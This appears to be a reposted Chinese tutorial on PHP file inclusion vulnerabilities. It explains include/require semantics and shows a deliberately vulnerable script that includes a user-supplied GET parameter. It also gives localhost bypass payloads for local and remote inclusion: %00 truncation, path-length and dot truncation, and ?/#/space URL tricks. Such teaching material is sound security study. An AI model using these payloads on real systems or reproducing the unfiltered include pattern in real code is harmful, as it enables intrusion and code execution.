文件包含

Posted alummox

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含相关的知识,希望对你有一定的参考价值。

定义

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

利用函数

php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别

require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本

include:找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行

include_once:此语句和include类似,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含

require_once:此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含 

本地文件包含

测试代码

<?php

    $filename  = $_GET[‘filename‘];    

    include($filename);

?>

结果

技术图片

 

本地文件包含绕过限制

%00截断

条件:magic_quotes_gpc = Off

          php版本<5.3.4

payload:http://localhost/test.php?filename=phpinfo.php%00

 

路径长度截断

条件:windows,点号需要长于256

          linux,长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。 

payload:http://localhost/test.php?filename=phpinfo.php/./././././././././././././././././././././././././././././././././././././././

 

点号截断

条件:windows OS,点号需要长于256

与路径长度截断类似,长度大于规定程度即可

 payload:http://localhost/test.php?filename=phpinfo.php................................................................................

 

远程文件包含

测试代码

<?php

    $filename  = $_GET[‘filename‘];    

    include($filename);

?>

漏洞前提条件:allow_url_include需要开启,允许url include

技术图片

 

远程文件包含绕过限制

主要是利用了url的解析

?号绕过

http://localhost/test.php?filename=http://localhost:8080/php.txt?

#号绕过

http://localhost/test.php?filename=http://localhost:8080/php.txt#

空格绕过

http://localhost/test.php?filename=http://localhost:8080/php.txt%20

 

上面例子url都是http协议的,还有其他伪协议也可以,

 

以上是关于文件包含的主要内容,如果未能解决你的问题,请参考以下文章

Wordpress - 将代码片段包含到布局的选定部分的插件

Xcode 4.6 的备份代码片段

使用 Python 代码片段编写 LaTeX 文档

在代码片段中包含类型转换

如何为 XSLT 代码片段配置 CruiseControl 的 C# 版本?

在片段中以编程方式在视图中包含布局